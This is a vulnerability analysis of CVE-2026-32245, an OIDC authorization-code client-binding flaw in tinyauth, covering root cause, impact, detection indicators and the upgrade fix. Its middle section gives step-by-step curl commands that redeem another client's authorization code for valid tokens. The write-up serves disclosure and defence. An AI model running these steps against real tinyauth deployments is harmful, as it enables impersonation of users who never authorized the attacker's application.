CVE-2026-32245: 
vulnerability analysis and mitigation

CVE-2026-32245 is an incorrect authorization vulnerability in tinyauth, a lightweight authentication proxy, where OIDC authorization codes are not bound to the client that requested them during token exchange. A malicious OIDC relying party operator who can intercept or observe an authorization code issued to a different client can exchange it for valid tokens under their own client identity, enabling user impersonation. All tinyauth versions prior to 5.0.3 are affected; single-client deployments are not impacted. The vulnerability was discovered by researcher e1024x, published on March 11, 2026, and assigned a CVSS v3.1 base score of 6.5 (Medium) (Github Advisory, Security Advisory).

The root cause is CWE-863 (Incorrect Authorization): the OIDC token endpoint at internal/controller/oidc_controller.go:267-309 retrieves the authorization code entry and validates the redirect_uri, but never compares entry.ClientID against the requesting client's ID (creds.ClientID), violating RFC 6749 Section 4.1.3. Notably, the equivalent check was correctly implemented in the refresh token flow (internal/service/oidc_service.go:508-510) but was simply omitted from the authorization code grant path. An attacker operating a legitimate OIDC client (Client B) on the same tinyauth instance can obtain Client A's authorization code — which is exposed as a URL query parameter and can leak via referrer headers, browser history, or server logs — and submit it to the /api/oidc/token endpoint using Client B's own credentials to receive valid tokens (Security Advisory, Patch Commit).

Successful exploitation allows a malicious OIDC client operator to obtain valid access_token, id_token, and refresh_token for users who never authorized their application, enabling full user impersonation across any OIDC client on the same tinyauth instance. The integrity impact is high, as the attacker can act on behalf of the victim user within any application trusting those tokens; confidentiality impact is limited to information accessible via the impersonated session. Availability is not affected, and the vulnerability is scoped to multi-client tinyauth deployments only (Security Advisory, Github Advisory).

1. Prerequisite Setup: Identify a tinyauth instance (version ≤ 5.0.2) with at least two OIDC clients configured (Client A and Client B). The attacker must operate or control Client B and have a means to obtain Client A's authorization code (e.g., shared redirect URI, referrer header leak, browser history, or server log access).

2. Authenticate as a target user: Log in to the tinyauth instance as a normal user to obtain a session cookie:

curl -c cookies.txt -X POST http://<tinyauth-host>/api/user/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"admin123"}'

3. Obtain Client A's authorization code: Trigger the OIDC authorization flow for Client A and capture the code parameter from the redirect URI response:

curl -b cookies.txt -X POST http://<tinyauth-host>/api/oidc/authorize \
  -H "Content-Type: application/json" \
  -d '{"client_id":"client-a-id","redirect_uri":"http://localhost:8080/callback","response_type":"code","scope":"openid","state":"test"}'

Extract the code value from the redirect_uri in the response (or intercept it via referrer leak, log access, etc.).

4. Exchange Client A's code using Client B's credentials: Submit the intercepted authorization code to the token endpoint authenticated as Client B:

curl -X POST http://<tinyauth-host>/api/oidc/token \
  -u "client-b-id:client-b-secret" \
  -d "grant_type=authorization_code&code=<stolen-code>&redirect_uri=http://localhost:8080/callback"

5. Receive valid tokens: The server returns a valid access_token, id_token, and refresh_token for the victim user under Client B's identity, enabling full user impersonation (Security Advisory).

• Network: Unexpected POST requests to /api/oidc/token from a client ID that differs from the client ID used in the preceding /api/oidc/authorize request for the same authorization code; token exchange requests where the client_id in the token request does not match the originating authorization flow.
• Logs: tinyauth application logs showing invalid_client errors (post-patch) or successful token issuance where the requesting client differs from the authorizing client (pre-patch); authorization codes appearing in HTTP referrer headers or server access logs from redirect URIs.
• Behavioral: A single authorization code being redeemed by a different client than the one that initiated the authorization request; users reporting unexpected sessions or access in applications they did not explicitly authorize (Security Advisory).

Upgrade tinyauth to version 5.0.3 or later, which adds a client ID validation check in GetCodeEntry() so that authorization codes can only be exchanged by the client they were issued to (Release v5.0.3, Patch Commit). There is no known configuration-based workaround for multi-client deployments; single-client deployments are not affected by this vulnerability. As an interim measure, restrict access to tinyauth server logs and ensure redirect URIs are not shared across clients to reduce the risk of authorization code interception (Github Advisory).

The vulnerability was discovered and reported by researcher e1024x, who also identified a second vulnerability (GHSA-3q28-qjrv-qr39) addressed in the same v5.0.3 release. The tinyauth maintainer (steveiliop56) responded promptly, publishing the advisory and patch on the same day (March 11, 2026) and urging users to update as soon as possible (Release v5.0.3). No broader media coverage or significant social media discussion has been identified beyond the GitHub advisory ecosystem.